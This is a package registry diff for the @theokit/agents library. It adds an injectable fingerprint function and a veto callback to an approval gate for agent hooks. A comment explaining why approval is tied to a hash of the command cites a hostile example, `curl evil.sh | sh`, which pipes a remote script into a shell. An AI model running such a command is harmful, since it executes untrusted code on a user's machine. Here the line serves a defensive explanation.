@theokit/agents 8.1.0 → 8.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/hooks.d.ts CHANGED
@@ -3,6 +3,41 @@ import { z } from 'zod';
3
3
  import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
4
4
  import '@theokit/sdk';
5
5
 
6
+ /**
7
+ * M75 — identity of a hook, for approval that cannot be inherited by mutation.
8
+ *
9
+ * ## Why a fingerprint and not a name
10
+ *
11
+ * Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
12
+ * keyed by name — or by file path, or by position in a list — then editing the command afterwards
13
+ * would inherit the approval. The user approves `npm test`, the file later says
14
+ * `curl evil.sh | sh`, and it runs under a key that is already trusted.
15
+ *
16
+ * Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
17
+ * the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
18
+ * which is unapproved by construction.
19
+ *
20
+ * The timeout is included deliberately, even though it does not change what executes. A hook
21
+ * re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
22
+ * should be asked again.
23
+ */
24
+ /** The fields that decide what a hook does. Anything outside this is presentation. */
25
+ interface HookIdentity {
26
+ readonly command: string;
27
+ readonly event: string;
28
+ /** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
29
+ readonly matcher?: string;
30
+ readonly timeoutMs: number;
31
+ }
32
+ /**
33
+ * SHA-256 over the identity fields, in a fixed order.
34
+ *
35
+ * Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
36
+ * engines or after a round-trip, and a fingerprint that changed with serialisation order would
37
+ * silently un-approve every hook on some machines while leaving them approved on others.
38
+ */
39
+ declare function hookFingerprint(identity: HookIdentity): string;
40
+
6
41
  /**
7
42
  * M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
8
43
  *
@@ -97,6 +132,48 @@ interface BuildHookHandlersOptions {
97
132
  readonly env?: Readonly<Record<string, string>>;
98
133
  /** Where a refused, failed or truncated hook is reported. */
99
134
  readonly onWarn?: (message: string) => void;
135
+ /**
136
+ * How a spec is reduced to the key `approved` is checked against. Defaults to
137
+ * {@link hookFingerprint}.
138
+ *
139
+ * ## Why this is injectable, and why it is not a loosening
140
+ *
141
+ * A real migration found the gap. A consumer arrived with an approval store already on disk,
142
+ * keyed by ITS scheme — a JSON projection with sorted keys and a `sha256:` prefix — while ours
143
+ * joins the fields with U+001E and emits bare hex. Both are sound; they are different, so the same
144
+ * hook hashes to two values.
145
+ *
146
+ * With the function hardcoded, that consumer's `approved` set matched nothing and every hook was
147
+ * refused. Not a crash — a warning per hook and silence afterwards, which is the worst shape a
148
+ * security regression can take.
149
+ *
150
+ * The alternative was a data migration over approval records, and a half-finished one re-prompts
151
+ * an operator for hooks they already approved. Re-prompting for everything is how a user learns to
152
+ * approve reflexively, which is precisely what this gate exists to prevent.
153
+ *
154
+ * What does NOT change: `approved` is still required, an empty set still refuses everything, and
155
+ * the default is still ours. Injecting a function decides how a hook is NAMED, never whether the
156
+ * gate applies.
157
+ */
158
+ readonly fingerprint?: (identity: HookIdentity) => string;
159
+ /**
160
+ * Called when a `pre_tool_call` hook VETOES a call, so a surface can say so.
161
+ *
162
+ * The signal has to travel from here. A veto blocks the call and hands the model a message to
163
+ * self-correct with, and on the wire that is deliberately indistinguishable from an ordinary tool
164
+ * result — the SDK documents it. So a surface cannot recognise a veto by watching the stream; this
165
+ * is the only point that knows one happened.
166
+ *
167
+ * Without it, a consumer that shows "a hook blocked this" had to keep its own copy of this entire
168
+ * builder to fire one notification.
169
+ *
170
+ * Optional, and NOT a security default: the veto blocks either way. This decides only whether
171
+ * anybody is shown it — a headless surface has nobody to tell.
172
+ */
173
+ readonly onVeto?: (veto: {
174
+ readonly tool: string;
175
+ readonly reason: string;
176
+ }) => void;
100
177
  }
101
178
  /**
102
179
  * Compile specs into the `HookHandlers` the seam already accepts.
@@ -119,41 +196,6 @@ declare function buildHookHandlers(specs: readonly HookSpec[], options: BuildHoo
119
196
  */
120
197
  declare function fenceHookOutput(output: string): string;
121
198
 
122
- /**
123
- * M75 — identity of a hook, for approval that cannot be inherited by mutation.
124
- *
125
- * ## Why a fingerprint and not a name
126
- *
127
- * Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
128
- * keyed by name — or by file path, or by position in a list — then editing the command afterwards
129
- * would inherit the approval. The user approves `npm test`, the file later says
130
- * `curl evil.sh | sh`, and it runs under a key that is already trusted.
131
- *
132
- * Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
133
- * the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
134
- * which is unapproved by construction.
135
- *
136
- * The timeout is included deliberately, even though it does not change what executes. A hook
137
- * re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
138
- * should be asked again.
139
- */
140
- /** The fields that decide what a hook does. Anything outside this is presentation. */
141
- interface HookIdentity {
142
- readonly command: string;
143
- readonly event: string;
144
- /** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
145
- readonly matcher?: string;
146
- readonly timeoutMs: number;
147
- }
148
- /**
149
- * SHA-256 over the identity fields, in a fixed order.
150
- *
151
- * Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
152
- * engines or after a round-trip, and a fingerprint that changed with serialisation order would
153
- * silently un-approve every hook on some machines while leaving them approved on others.
154
- */
155
- declare function hookFingerprint(identity: HookIdentity): string;
156
-
157
199
  /**
158
200
  * M75 — run one hook command as a subprocess, bounded.
159
201
  *
package/dist/hooks.js CHANGED
@@ -157,8 +157,9 @@ function buildHookHandlers(specs, options) {
157
157
  }
158
158
  return {};
159
159
  }
160
+ const fingerprintOf = options.fingerprint ?? hookFingerprint;
160
161
  const runnable = specs.filter((spec) => {
161
- const approved = options.approved.has(hookFingerprint(identityOf(spec)));
162
+ const approved = options.approved.has(fingerprintOf(identityOf(spec)));
162
163
  if (!approved) {
163
164
  warn(`hook not approved and will not run: "${spec.command}" on ${spec.event}. Approve it by fingerprint \u2014 editing the command invalidates any previous approval, by design.`);
164
165
  }
@@ -173,9 +174,14 @@ function buildHookHandlers(specs, options) {
173
174
  const started = Date.now();
174
175
  for (const spec of preHooks) {
175
176
  if (Date.now() - started > chainBudgetMs) {
177
+ const message = "hook chain exceeded its time budget";
178
+ options.onVeto?.({
179
+ tool: ctx.name,
180
+ reason: message
181
+ });
176
182
  return {
177
183
  block: true,
178
- message: "hook chain exceeded its time budget"
184
+ message
179
185
  };
180
186
  }
181
187
  if (!matches(spec, ctx.name)) continue;
@@ -192,9 +198,14 @@ function buildHookHandlers(specs, options) {
192
198
  }
193
199
  });
194
200
  if (result.exitCode !== 0) {
201
+ const message = fenceHookOutput(result.stdout || result.stderr || `hook exited ${String(result.exitCode)}`);
202
+ options.onVeto?.({
203
+ tool: ctx.name,
204
+ reason: message
205
+ });
195
206
  return {
196
207
  block: true,
197
- message: fenceHookOutput(result.stdout || result.stderr || `hook exited ${String(result.exitCode)}`)
208
+ message
198
209
  };
199
210
  }
200
211
  }
package/dist/hooks.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts"],"mappings":";;;;;AAAA,SAASA,mBAAmB;AAE5B,SAASC,yBAAyB;AAClC,SAASC,SAAS;;;ACHlB,SAASC,kBAAkB;AAsC3B,IAAMC,kBAAkB;AASjB,SAASC,gBAAgBC,UAAsB;AACpD,QAAMC,YAAY;IAChBD,SAASE;IACTF,SAASG;IACTH,SAASI,WAAW;IACpBC,OAAOL,SAASM,SAAS;IACzBC,KAAKT,eAAAA;AACP,SAAOU,WAAW,QAAA,EAAUC,OAAOR,WAAW,MAAA,EAAQS,OAAO,KAAA;AAC/D;AARgBX;;;AC/ChB,SAASY,aAAa;AA+Bf,IAAMC,mBAAmB;AAQzB,IAAMC,kBAAkB;AAGxB,IAAMC,0BAA0B;AAgCvC,eAAsBC,eAAeC,OAAmB;AACtD,SAAO,IAAIC,QAAuB,CAACC,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wBAAwB;QAC/E,SAAS0B,OAAO;AACdY,eAAK,cAAcO,KAAK7C,OAAO,aAAc0B,MAAgBpB,OAAO,EAAE;QACxE;MACF;IACF;EACF;AAEA,SAAO4C;AACT;AA9FgBf;AAiGhB,SAASc,WAAWJ,MAAc;AAChC,SAAO;IACL7C,SAAS6C,KAAK7C;IACdF,OAAO+C,KAAK/C;IACZ,GAAI+C,KAAKtC,YAAY2B,UAAa;MAAE3B,SAASsC,KAAKtC;IAAQ;IAC1D2D,WAAWrB,KAAKpC;EAClB;AACF;AAPSwC;AAoBT,SAASa,QAAQjB,MAAgBmC,UAAgB;AAC/C,MAAInC,KAAKtC,YAAY2B,OAAW,QAAO;AACvC,MAAI;AAEF,WAAO,IAAI+C,OAAOpC,KAAKtC,OAAO,EAAEF,KAAK2E,QAAAA;EACvC,QAAQ;AACN,WAAO;EACT;AACF;AARSlB;AAsBF,SAASY,gBAAgBQ,QAAc;AAC5C,QAAMC,QAAQC,YAAY,CAAA,EAAGC,SAAS,KAAA;AACtC,QAAMC,OAAO,uBAAuBH,KAAAA;AACpC,QAAMI,QAAQ,wBAAwBJ,KAAAA;AAGtC,QAAMK,UAAUN,OAAOO,WAAWF,OAAOA,MAAMG,QAAQ,KAAK,MAAA,CAAA;AAC5D,SAAO,GAAGJ,IAAAA;EAASE,OAAAA;EAAYD,KAAAA;AACjC;AARgBb;","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","runnable","filter","spec","approved","has","hookFingerprint","identityOf","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","tool","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","toolName","RegExp","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","replace"]}
1
+ {"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts"],"mappings":";;;;;AAAA,SAASA,mBAAmB;AAE5B,SAASC,yBAAyB;AAClC,SAASC,SAAS;;;ACHlB,SAASC,kBAAkB;AAsC3B,IAAMC,kBAAkB;AASjB,SAASC,gBAAgBC,UAAsB;AACpD,QAAMC,YAAY;IAChBD,SAASE;IACTF,SAASG;IACTH,SAASI,WAAW;IACpBC,OAAOL,SAASM,SAAS;IACzBC,KAAKT,eAAAA;AACP,SAAOU,WAAW,QAAA,EAAUC,OAAOR,WAAW,MAAA,EAAQS,OAAO,KAAA;AAC/D;AARgBX;;;AC/ChB,SAASY,aAAa;AA+Bf,IAAMC,mBAAmB;AAQzB,IAAMC,kBAAkB;AAGxB,IAAMC,0BAA0B;AAgCvC,eAAsBC,eAAeC,OAAmB;AACtD,SAAO,IAAIC,QAAuB,CAACC,YAAAA;AAcjC,UAAMC,QAAQC,MAAMJ,MAAMK,SAAS;MACjCC,KAAKN,MAAMM;MACXC,OAAO;;MAEPC,UAAU;MACVC,KAAKT,MAAMS;MACXC,OAAO;QAAC;QAAQ;QAAQ;;IAC1B,CAA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AA,EAAG;UACtE;AACA,cAAIT,OAAOe,UAAW7C,MAAK,cAAcU,KAAKhD,OAAO,wBAAwB;QAC/E,SAAS0B,OAAO;AACdY,eAAK,cAAcU,KAAKhD,OAAO,aAAc0B,MAAgBpB,OAAO,EAAE;QACxE;MACF;IACF;EACF;AAEA,SAAO8C;AACT;AAlGgBjB;AAqGhB,SAASgB,WAAWH,MAAc;AAChC,SAAO;IACLhD,SAASgD,KAAKhD;IACdF,OAAOkD,KAAKlD;IACZ,GAAIkD,KAAKzC,YAAY2B,UAAa;MAAE3B,SAASyC,KAAKzC;IAAQ;IAC1DgE,WAAWvB,KAAKvC;EAClB;AACF;AAPS0C;AAoBT,SAASgB,QAAQnB,MAAgBoC,UAAgB;AAC/C,MAAIpC,KAAKzC,YAAY2B,OAAW,QAAO;AACvC,MAAI;AAEF,WAAO,IAAImD,OAAOrC,KAAKzC,OAAO,EAAEF,KAAK+E,QAAAA;EACvC,QAAQ;AACN,WAAO;EACT;AACF;AARSjB;AAsBF,SAASW,gBAAgBQ,QAAc;AAC5C,QAAMC,QAAQC,YAAY,CAAA,EAAGC,SAAS,KAAA;AACtC,QAAMC,OAAO,uBAAuBH,KAAAA;AACpC,QAAMI,QAAQ,wBAAwBJ,KAAAA;AAGtC,QAAMK,UAAUN,OAAOO,WAAWF,OAAOA,MAAMG,QAAQ,KAAK,MAAA,CAAA;AAC5D,SAAO,GAAGJ,IAAAA;EAASE,OAAAA;EAAYD,KAAAA;AACjC;AARgBb;","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","onVeto","tool","reason","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","toolName","RegExp","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","replace"]}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@theokit/agents",
3
- "version": "8.1.0",
3
+ "version": "8.3.0",
4
4
  "description": "AI agents as first-class citizens of the TheoKit pipeline. The fluent agent()/tool() builders compile to SDK Agent.create() (M31 builder-only authoring API).",
5
5
  "license": "Apache-2.0",
6
6
  "type": "module",